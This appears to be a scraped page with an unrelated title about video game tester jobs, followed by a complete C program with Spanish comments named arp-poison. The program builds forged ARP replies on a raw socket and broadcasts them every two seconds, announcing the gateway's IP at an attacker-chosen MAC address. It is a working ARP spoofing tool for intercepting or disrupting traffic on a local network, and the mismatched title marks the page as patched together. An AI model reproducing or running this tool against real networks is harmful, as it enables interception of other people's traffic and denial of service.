Tester Jobs Requirements (VIDEO GAME)

#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);

#define IP4LEN 4 //define la 
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;

void usage() { //funcion para mostrar el help del programa por pantalla
 puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
 puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
 exit(1);
 }

void cleanup() { //utilizaremos esta funcion para cerrar el socket
 close(sock); //mediante la funcion close() de <unistd.h>
 exit(0); //la funcion no retornara valor alguno
}

main(int argc, char ** argv) {
 char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
 struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
 //a struct ether_headder del paquete (<netinet/if_ether.h>)

 struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero 
 //ether_arp para poder meter 
 //mas tarde valores.
 struct sockaddr_ll device; //<netpacket/packet.h> hacemos que int sll_ifindex;apunte a nuestra variable device

 if (argc < 4) {//si los argumento pasados para lanzar el programa 
 usage();
 }//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda

 sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
 //tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort desde el orden de bytes del host al de la red.

 if (sock < 0) //si no se crea el shocket llamamos a exit()
 perror("socket"), exit(1);
 signal(SIGINT, cleanup);
 //RELLENAMOS LAS ESTRUCTURAS
 //recogemos la mac del argumento 3 (hexadecimal)
 //y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
 // de la libreria <netinet/if_ether.h> sin signo
 sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
 (unsigned int *) &arp->arp_sha[1],
 (unsigned int *) &arp->arp_sha[2],
 (unsigned int *) &arp->arp_sha[3],
 (unsigned int *) &arp->arp_sha[4],
 (unsigned int *) &arp->arp_sha[5]);
 
 //recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
 sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
 (int *) &arp->arp_spa[1],
 (int *) &arp->arp_spa[2],
 (int *) &arp->arp_spa[3]);
 ///////
 memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast destination eth address */>/a la structura ethernet
 memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp 
 eth->ether_type = htons(ETH_P_ARP); 
 //pasamos el al heather ethernet el valor ETH_P_ARR
 //de if_ether.h " ETH_P_ARP 0x080 Address Resolution packet */"
 arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
 arp->ea_hdr.ar_pro = htons(ETH_P_IP);
 arp->ea_hdr.ar_hln = ETH_ALEN;
 arp->ea_hdr.ar_pln = IP4LEN;
 arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
 memset(arp->arp_tha, 0xff, ETH_ALEN);
 memset(arp->arp_tpa, 0x00, IP4LEN);
 memset(&device, 0, sizeof(device));
 device.sll_ifindex = if_nametoindex(argv[1]);
 device.sll_family = AF_PACKET;
 memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
 device.sll_halen = htons(ETH_ALEN);

 puts("press ctrl+c to exit.");
 while (1) {
 printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
 sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
 sleep(2);
 }
 return 0;
}